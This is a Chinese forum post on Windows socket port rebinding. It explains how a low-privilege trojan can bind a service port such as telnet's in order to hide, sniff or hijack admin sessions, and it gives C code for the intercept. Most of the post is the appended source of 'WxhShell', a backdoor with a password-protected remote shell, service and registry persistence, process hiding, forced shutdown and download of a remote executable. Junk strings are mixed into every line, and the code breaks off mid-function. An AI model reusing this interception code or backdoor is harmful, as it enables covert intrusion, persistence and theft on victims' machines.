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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: o&HFlDZ5jO  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); iu'rc/=V  
WtbOm  
  saddr.sin_family = AF_INET; ="[6Z$R  
E"%G@,|3*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ;4(FS  
GnW_^$Fs  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Y.o-e)zX  
Il#9t?/  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 r)Iq47Uiw  
4Bq4d.0  
  这意味着什么?意味着可以进行如下的攻击: nIqmora  
S]DYEL$  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _+nlm5  
0Yc#fD  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) y &%2  
9Dx9alJR  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 86f/R c  
Ks^EGy+O:-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Z65]|  
E9S&UU,K  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -\fn\n  
RkBbu4uQ-  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .Ue1}'v*,  
C AF{7 `{  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3.I:`>;EO  
iLG~_Ob:  
  #include )V*V  
  #include ' |K408i   
  #include #3Jn_Y%P.  
  #include    SN|:{Am  
  DWORD WINAPI ClientThread(LPVOID lpParam);   (:T\<  
  int main() NpYzN|W:  
  { . xdSUe  
  WORD wVersionRequested; R>. %0%iq  
  DWORD ret; [?Q$b5j/M  
  WSADATA wsaData; Zae$M0)  
  BOOL val; SiQszV.&  
  SOCKADDR_IN saddr; '#0'_9}  
  SOCKADDR_IN scaddr; )}jXC4  
  int err; ]Syr{|  
  SOCKET s; 2:l8RH!Y  
  SOCKET sc; Wi(Ac8uh  
  int caddsize; u@-x3%W  
  HANDLE mt; )F) (Hg  
  DWORD tid;   B>M@'  
  wVersionRequested = MAKEWORD( 2, 2 ); -V)DKf"f  
  err = WSAStartup( wVersionRequested, &wsaData ); Q'S"$^~{  
  if ( err != 0 ) { JA~v:ec  
  printf("error!WSAStartup failed!\n"); r .b!3CoQ  
  return -1; u DpCW}  
  } 2bk~6Osp  
  saddr.sin_family = AF_INET; .0>2j(  
   Sq,x57-  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 wR=WS',  
v5;V$EGD&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); qKg*/)sD(  
  saddr.sin_port = htons(23); Wc+)EX~KS  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9vZD?6D,n  
  { g",htYoEnj  
  printf("error!socket failed!\n"); xMu[#\Vc  
  return -1; XNJPf) T  
  }  iFy_ D  
  val = TRUE; ]hL `HP  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 mew,S)dq!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) TZk.?@s5  
  { 3,<$z1Jm  
  printf("error!setsockopt failed!\n"); z.q^`01/H  
  return -1; r#%z1u  
  } OF)G 2>t  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $ kA'9Y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 R6A{u(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 M3U*'A\  
?(4E le  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9=J+5V^qD<  
  { :Ej#qYi  
  ret=GetLastError(); jr<`@  
  printf("error!bind failed!\n"); O IMsxXF\J  
  return -1; $ &Ntdn  
  } "[rChso  
  listen(s,2); *|T]('xwC  
  while(1) Pu=,L#+FN  
  { n5~7x   
  caddsize = sizeof(scaddr); dC7YVs_,#  
  //接受连接请求 5QjM,"`mp  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #~(VOcRI  
  if(sc!=INVALID_SOCKET) j[Y$)HF  
  { -<[MM2Y  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }j/($,  
  if(mt==NULL) ([r4N#lx  
  { ]c.1&OB7o  
  printf("Thread Creat Failed!\n"); ;p !|E3o.  
  break; +M"Fv9  
  } ur,!-t(~t  
  } vjcG F'-  
  CloseHandle(mt); NYoh6AR  
  } \CP)$0j-&o  
  closesocket(s); &G)I|mv  
  WSACleanup(); O#,Uz2  
  return 0; `5V=U9zdE  
  }   K\7\  
  DWORD WINAPI ClientThread(LPVOID lpParam) zF9SZ#{a  
  { jo8hVWJ7V*  
  SOCKET ss = (SOCKET)lpParam; 3~I|KF7x  
  SOCKET sc; }Ss]/ _t  
  unsigned char buf[4096]; ^]&uMkPN  
  SOCKADDR_IN saddr; O]\6Pv@N  
  long num; h~]G6>D9)>  
  DWORD val; e'FBV[e  
  DWORD ret; F%t_9S,)O  
  //如果是隐藏端口应用的话,可以在此处加一些判断 QUPZe~G>L  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   csceu+ IA  
  saddr.sin_family = AF_INET; []'gIF  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); .$r=:k_d  
  saddr.sin_port = htons(23); q`HuVilNH  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xpJ6M<O{8  
  { Ry@QJn I<  
  printf("error!socket failed!\n"); 0h[p w   
  return -1;  `UC  
  } p(jY2&g  
  val = 100; >tUi ;!cQ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wx a?.  
  { RObo4  
  ret = GetLastError(); ,cgFdOM.  
  return -1;  kYls jM  
  } L\cd=&b`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) JnW G_|m)  
  { S'Hb5C2u  
  ret = GetLastError(); }e7os0;s  
  return -1; {t.5cX"[  
  } >Mu I-^ 3  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) rd*`8B  
  { 8T7ex(w  
  printf("error!socket connect failed!\n"); $pV:)N4  
  closesocket(sc); ?ztI8 I/  
  closesocket(ss); #Tz$ona  
  return -1; J**-q(>  
  } qc(R /[  
  while(1) C 2f=9n/  
  { :~I^ni  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 S}O>@ %  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 [~3[Tu( C  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Fgx{ s%&-  
  num = recv(ss,buf,4096,0); .!fhy[%o:D  
  if(num>0) n~1F[ *  
  send(sc,buf,num,0); Q[j'FtP%  
  else if(num==0) hA6   
  break; (i1 JDe  
  num = recv(sc,buf,4096,0); 6x'F0{U  
  if(num>0) <Km ^>9  
  send(ss,buf,num,0); m\4V;F  
  else if(num==0) I~^t\iujs  
  break; 3 291"0  
  } Frn<~  
  closesocket(ss); Dq [ f  
  closesocket(sc); wbIgZ]o!/;  
  return 0 ; ;PS V3Zh  
  } o1kTB&E4B  
7U9*-9  
Kyf,<z F  
========================================================== [@VM'@e7  
'YKzs;y$  
下边附上一个代码,,WXhSHELL / [s TN.MG  
3V(]*\L  
========================================================== C+0MzfLgf  
J!{t/_aw  
#include "stdafx.h" "QKCZ8_C  
Z<wJ!|f  
#include <stdio.h> 2)~`.CD?L  
#include <string.h> D*%?0  
#include <windows.h> </hv{<  
#include <winsock2.h> 9QQiIi$74U  
#include <winsvc.h> WE{fu{x  
#include <urlmon.h> W)_|jpd[  
y*G3dWb  
#pragma comment (lib, "Ws2_32.lib") wtl3Ex,DO  
#pragma comment (lib, "urlmon.lib") 6"h,0rR  
H[S}&l\D4  
#define MAX_USER   100 // 最大客户端连接数 .+07 Ui]I!  
#define BUF_SOCK   200 // sock buffer :F |ll?  
#define KEY_BUFF   255 // 输入 buffer z#[PTqD-_  
t)4><22of  
#define REBOOT     0   // 重启 OH\(;RN*  
#define SHUTDOWN   1   // 关机 U<YcUmX  
afw`Heaa2(  
#define DEF_PORT   5000 // 监听端口 ]c9\[Kdq}H  
\,AE5hnO  
#define REG_LEN     16   // 注册表键长度 xekU2u}WE  
#define SVC_LEN     80   // NT服务名长度 jIL+^{K<  
o=nF.y  
// 从dll定义API ]\C wa9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tD~ n PbbB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ybkydc  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E/3i _R  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6~!QibA|P  
hCOCX_  
// wxhshell配置信息 :>|dE%/e$  
struct WSCFG { y+aKk6(_W  
  int ws_port;         // 监听端口 &o;d  
  char ws_passstr[REG_LEN]; // 口令 |AQU\BUj  
  int ws_autoins;       // 安装标记, 1=yes 0=no }Q?a6(4  
  char ws_regname[REG_LEN]; // 注册表键名 )ZW[$:wA  
  char ws_svcname[REG_LEN]; // 服务名 +SB>>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~.<QC<dN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;/h&40&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0H +!v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no EY`]""~8v  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =h@t#-Z"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bess b>=  
UhKd o  
}; ri`;   
dC<2%y  
// default Wxhshell configuration *N |ak =  
struct WSCFG wscfg={DEF_PORT, Kqz+:E8D  
    "xuhuanlingzhe", U2Tw_  
    1, h"y~!NWn  
    "Wxhshell", A>ve|us$  
    "Wxhshell", I7#^'/  
            "WxhShell Service", `h'7X(  
    "Wrsky Windows CmdShell Service", 7w<e^H?  
    "Please Input Your Password: ", <t&Qa~mA  
  1, b['v0x  
  "http://www.wrsky.com/wxhshell.exe", p9E/#U8A_  
  "Wxhshell.exe" 9sN#l  
    }; <N:)Xf9`  
\ iA'^69  
// 消息定义模块 #tIeI6 Qw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =fy\W=c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xi<yB0MoA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4?fpk9c{2  
char *msg_ws_ext="\n\rExit."; Hz"FGwd  
char *msg_ws_end="\n\rQuit."; Ne)3@?  
char *msg_ws_boot="\n\rReboot..."; ;X N Ahg7  
char *msg_ws_poff="\n\rShutdown..."; v5 @9  
char *msg_ws_down="\n\rSave to "; 4wN5x[vp  
t#VX#dJ  
char *msg_ws_err="\n\rErr!"; f5Hv![x  
char *msg_ws_ok="\n\rOK!"; kWacc&*|  
[4hi/6 0  
char ExeFile[MAX_PATH]; s f.z(o  
int nUser = 0; #~m 8zG  
HANDLE handles[MAX_USER]; l;r A}?,.^  
int OsIsNt; NcrBp(  
(5;nA'  
SERVICE_STATUS       serviceStatus;  "D'rsEh  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o`Af6C;Q  
)}7X4g6X   
// 函数声明 ?t<g|H/|6  
int Install(void); >,QCKZH  
int Uninstall(void); FUXJy{n6"2  
int DownloadFile(char *sURL, SOCKET wsh); B]NcY&A  
int Boot(int flag); Fi'ZId  
void HideProc(void); C+t0Zen  
int GetOsVer(void); f62rm[  
int Wxhshell(SOCKET wsl); ts% n tnvI  
void TalkWithClient(void *cs); #].q jOj  
int CmdShell(SOCKET sock); V!(7=ku!`  
int StartFromService(void); -G~/ GO  
int StartWxhshell(LPSTR lpCmdLine); )4h|7^6ji  
<5"&]! .  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &8pGq./lr=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~ MsHV%  
| TG6-e_  
// 数据结构和表定义 ACy}w?D<  
SERVICE_TABLE_ENTRY DispatchTable[] = NJSbS<O  
{ g!.piG|  
{wscfg.ws_svcname, NTServiceMain}, vcCNxIzEG  
{NULL, NULL} 1KY0hAx  
}; kBLFK3i  
Ir-QD !!<  
// 自我安装 E=CAWj\  
int Install(void) lXF7)H&T  
{ Rc3!u^?u  
  char svExeFile[MAX_PATH]; }30Sb &"  
  HKEY key; <.Pt%Kg^BS  
  strcpy(svExeFile,ExeFile); )o~/yB7  
eXD~L&s[  
// 如果是win9x系统,修改注册表设为自启动 ]l C2YD}  
if(!OsIsNt) { .vctuy&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4x&Dz0[[S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @/?i|!6  
  RegCloseKey(key); ,(Ol]W}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cWG%>.`5r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d"IZt;s/,  
  RegCloseKey(key); xJAQ'ANr  
  return 0; XI |k,Ko<  
    } z5oJQPPi  
  } by0K:*C  
} V9SL96'[I  
else { _3D9>8tzE7  
x/CM)!U)  
// 如果是NT以上系统,安装为系统服务 ',xUU{5?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |O6/p7+.  
if (schSCManager!=0) J}[[tl  
{ +lfO4^V  
  SC_HANDLE schService = CreateService l$pz:m]Id  
  ( [|YvVA  
  schSCManager, i NfAn&  
  wscfg.ws_svcname, 7V8k =  
  wscfg.ws_svcdisp, `A%WCd60Tc  
  SERVICE_ALL_ACCESS, n?$c"}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I|c!:4  
  SERVICE_AUTO_START, [*5]NNB  
  SERVICE_ERROR_NORMAL, |U;O HS  
  svExeFile, (&Jo. <  
  NULL, }eW<P079  
  NULL, 7M4J{}9  
  NULL, |&{S ~^$  
  NULL, 7l$ u.[  
  NULL {J izCUo_'  
  ); i!}6FB Z  
  if (schService!=0) 4ryG_p52l  
  { eUZk|be  
  CloseServiceHandle(schService); ,mHUo4h1O  
  CloseServiceHandle(schSCManager); qbD 7\%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); PuREqa\_[  
  strcat(svExeFile,wscfg.ws_svcname); W90!*1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U;WwEta ]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /hu>MZ(\  
  RegCloseKey(key); o+}k$i!6  
  return 0; &z1U0uk  
    } CEI"p2  
  } h'};spv  
  CloseServiceHandle(schSCManager); Q&vdBO/  
} /+J nEFf  
} =?0v,;F9|  
&.?E[db"h  
return 1; ^Z#G_%\Y:  
} \u{4=-C.  
]b; m~|9  
// 自我卸载 fn,hP_  
int Uninstall(void) _qf39fM;\  
{ {icTfPR4E  
  HKEY key; RG'76?z  
#:0-t!<0C  
if(!OsIsNt) { G\BZ^SwE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5v)bs\x6  
  RegDeleteValue(key,wscfg.ws_regname); / @"{u0  
  RegCloseKey(key); N10U&L'w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6];3h>c]N  
  RegDeleteValue(key,wscfg.ws_regname); z9[TjTH^}T  
  RegCloseKey(key); vs=q<Uw)  
  return 0; ;10YG6:  
  } P'OvwA  
} Wj^e)2%  
} GnW MI1$  
else { pg4pfi^__V  
uO LShNo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9/{zS3h3  
if (schSCManager!=0) >":xnX#  
{ C h>F11kC  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i,*m(C@F}  
  if (schService!=0) ) yMrE T m  
  { Y /_CPY  
  if(DeleteService(schService)!=0) { F!EiF&[\J  
  CloseServiceHandle(schService); uB.kkkGZ M  
  CloseServiceHandle(schSCManager); }Cu[x'J  
  return 0; jW`JThoq  
  } E|f[ #+:+  
  CloseServiceHandle(schService); 4)8VmCW  
  } K-C,n~-  
  CloseServiceHandle(schSCManager); (?\+  
} rnj$u-8  
} IB[$~sGe  
R>"Fc/{y  
return 1; ZK^cG'^2|  
} Yu3S3aRE  
W]ca~%r  
// 从指定url下载文件 7:u+cv  
int DownloadFile(char *sURL, SOCKET wsh) q%d G>!  
{ v5S9h[gT  
  HRESULT hr; O+=%Mz(l  
char seps[]= "/"; @h{|tP%"  
char *token; ( 4L/I  
char *file; |cma7q}p  
char myURL[MAX_PATH]; E@ U]k$M  
char myFILE[MAX_PATH]; &su'znLV  
&[-(=43@  
strcpy(myURL,sURL); )Wk_|zO-  
  token=strtok(myURL,seps); NAvR^"I~  
  while(token!=NULL) \s5Uvws  
  { B]"`}jn  
    file=token; R}Lk$#S#  
  token=strtok(NULL,seps); ( *+'k1Ea  
  } ^b+>r  
nL:&G'd  
GetCurrentDirectory(MAX_PATH,myFILE); R}=5:)%w  
strcat(myFILE, "\\"); o?Hfxp0}  
strcat(myFILE, file); ;3cbXc@]  
  send(wsh,myFILE,strlen(myFILE),0); DYr#?} 40  
send(wsh,"...",3,0); M@A3+ v%K  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %)JEYH7Z  
  if(hr==S_OK) Wgls+<l8  
return 0; l:V R8g[  
else $~G,T g  
return 1; I$xZV?d.  
f)/Z7*Z  
} V|MGG  
XA2Ld  
// 系统电源模块 ~:z.Xu5m  
int Boot(int flag) |NfFe*q0;8  
{ 'V:Q :  
  HANDLE hToken; y d 97ys  
  TOKEN_PRIVILEGES tkp; -XV,r<''  
^ F]hW  
  if(OsIsNt) { yV{B,T`W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); c1'@_Is  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l'+3 6  
    tkp.PrivilegeCount = 1; [MTd<@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %F>~2g?$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;?2)[a  
if(flag==REBOOT) { 6ZQ |L=Ytp  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =:WZV8@%  
  return 0; !!1?2ine  
} m@2E ~m  
else { "Lbsq\W>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dEoIVy_9R  
  return 0; >H;i#!9,  
} K|P0nJT  
  } b{A[\ "  
  else { Js,!G  
if(flag==REBOOT) { XNYA\%:5S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3B&A)&pEO  
  return 0; Dl;hOHvKk  
} p/h\QG1   
else { '$tCAS  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &GP(yj]  
  return 0; d9f7 &  
} xE1?)  
} DB'0  
8MJJ w;  
return 1; Q]k< Y  
} t%=7v)IOE  
,MY7h 8V/  
// win9x进程隐藏模块 H%wB8Y ]  
void HideProc(void) Cy~IB [  
{ o7) y~ ke  
\QvGkcDc{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?XBdBR_"^  
  if ( hKernel != NULL ) ;KL7SM%g4  
  { 9z7_D_yN2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jRK}H*uem  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E'AR.!  
    FreeLibrary(hKernel); *QC6zJ  
  } my 'nDi  
\]ib%,:YU  
return; 4>gfLK\R:  
} I5Vn#_q+b  
^)AECn  
// 获取操作系统版本 dN{At-  
int GetOsVer(void) VE |:k:};  
{ noZbsI4  
  OSVERSIONINFO winfo; uJ% <+I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); iM]O  
  GetVersionEx(&winfo); V%,,GmiU]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F&M d+2  
  return 1; xWLvx'8W  
  else k<9,Ypa  
  return 0; /vQ)$;xf#  
} */aY $aWv  
a"#t'\  
// 客户端句柄模块 Ua1&eC Zi  
int Wxhshell(SOCKET wsl) Rh'z;Gyr  
{ yzS]FwW7  
  SOCKET wsh; jD S?p)&  
  struct sockaddr_in client; o|xf2k  
  DWORD myID; k[Em~>m  
46?z*~*G  
  while(nUser<MAX_USER) XcJ5KTn  
{ N63?4'_W  
  int nSize=sizeof(client); #VQZ"7nI@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A4j ,]hOD  
  if(wsh==INVALID_SOCKET) return 1; uo:RNokjJ  
e@'x7Zzh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |IAx!Z-P  
if(handles[nUser]==0) ,ri&zbB  
  closesocket(wsh); ?^&ih:"  
else iq;\},  
  nUser++; 9{pT)(Wnb  
  } N8 sT?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )~'UJPK  
!yNU-/K  
  return 0; # qd!_oN  
} WIWo4[(  
]3,'U(!+  
// 关闭 socket !r/i<~'Bx  
void CloseIt(SOCKET wsh) Q2fxsa[  
{ (kL"*y/"p  
closesocket(wsh); P]+B}))  
nUser--; X9*n[ev  
ExitThread(0); `_J&*Kk5  
} bJ2-lU% ;2  
xF_u:}7`  
// 客户端请求句柄 S'x ]c#  
void TalkWithClient(void *cs) E~y8X9HZ)  
{ 7gX32r$%V  
_`2%)#^ o  
  SOCKET wsh=(SOCKET)cs; MWwqon|  
  char pwd[SVC_LEN]; B>u`%Ry&  
  char cmd[KEY_BUFF]; %|jS`kj  
char chr[1]; 2a@X-Di  
int i,j; ;MfqI/B{  
}s2CND  
  while (nUser < MAX_USER) { H{cOkuy  
'iMzp]V;  
if(wscfg.ws_passstr) { rfDGS%!O%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Uw4iWcC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7FwtBO  
  //ZeroMemory(pwd,KEY_BUFF); k}LIMkEa4a  
      i=0; [n9l[dN  
  while(i<SVC_LEN) { Uz;^R@  
v&:[?<6-  
  // 设置超时 p5]W2i.,  
  fd_set FdRead; nOC\ =<Nsg  
  struct timeval TimeOut; L|[i<s;  
  FD_ZERO(&FdRead); d.}65{F,x  
  FD_SET(wsh,&FdRead); .{gDw  
  TimeOut.tv_sec=8; *twGIX  
  TimeOut.tv_usec=0; CH7a4qL`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); smCACQ$ (  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yz [pF  
MJX ny4n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J>X@g;  
  pwd=chr[0]; w/NT 5  
  if(chr[0]==0xd || chr[0]==0xa) { wPU5L*/*i  
  pwd=0; Rd8mn'A  
  break; ij:xr% FJ  
  } Pll%O@K  
  i++; X -1r$.  
    } ,u@:(G  
**P P  
  // 如果是非法用户,关闭 socket L#`X ]E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q`i@['?p  
} &zYQ H@  
J5a8U&A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Kmx4bp4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j&ti "|2\  
) `{jPK*`  
while(1) { @ 2hGkJ-  
QXj#Brp  
  ZeroMemory(cmd,KEY_BUFF); 5 CnNp?.t^  
e# Y{YtE  
      // 自动支持客户端 telnet标准   7 \xCNOKh  
  j=0; W,8Uu1X =  
  while(j<KEY_BUFF) { R1JD{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p#c41_?'e  
  cmd[j]=chr[0]; |HAbZd7PG  
  if(chr[0]==0xa || chr[0]==0xd) { 0SD'&   
  cmd[j]=0; @Mg&T$  
  break; ~_BjcY  
  } #2|biTJ  
  j++; g)f& mQ)  
    } dLqBu~*  
7OLHYt9  
  // 下载文件 m +A4aQ9  
  if(strstr(cmd,"http://")) { ="G2I\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); tIn`L6b  
  if(DownloadFile(cmd,wsh)) AQ FnS&Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )fo0YpE^|  
  else j hRr!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;u`8pF!_eE  
  } BZLIi O  
  else { +Zi+ /9Z(H  
m|JA }&A  
    switch(cmd[0]) { UNSXr`9  
  {'alA  
  // 帮助 kjQW9QJ<  
  case '?': { N_Ezp68Fp  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,g'>Ib%  
    break; ,J2qLH1  
  } _{):w~zi  
  // 安装 {KDN|o+%  
  case 'i': { I[rR-4.F]  
    if(Install()) \v+>qY<q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4'3;{k$z  
    else KKQT?/ {b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {oOUIP  
    break; ;\|GU@K{hC  
    } 3AENY@*  
  // 卸载 f>xi (0  
  case 'r': { {nM1$  
    if(Uninstall()) [$K8y&\L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (z;lNl(*C  
    else YXTV$A+lW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Slo^tqbG  
    break; t<c7%i#Od  
    } -vm1xp$  
  // 显示 wxhshell 所在路径 An}RD73!w  
  case 'p': { >+<b_q|P  
    char svExeFile[MAX_PATH]; 8wO4;  
    strcpy(svExeFile,"\n\r"); q%M~gp1  
      strcat(svExeFile,ExeFile); QiA}0q3]0  
        send(wsh,svExeFile,strlen(svExeFile),0); 4n.JRR&;  
    break; o6w8Y/VPu  
    } #oiU|>3Y  
  // 重启 s[eSPSFZ  
  case 'b': { f.j<VKF}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \ ^pc"?Rc  
    if(Boot(REBOOT)) U<F|A!Fg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A *:| d~  
    else { s% rmfIp"  
    closesocket(wsh); AMB{Fssz  
    ExitThread(0); DO{otn 9<  
    } wWx{#!W  
    break; Yx,E5}-  
    } 7MZH'nO  
  // 关机 mw^>dv?  
  case 'd': { sk07|9nU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A#K<5%U{Mv  
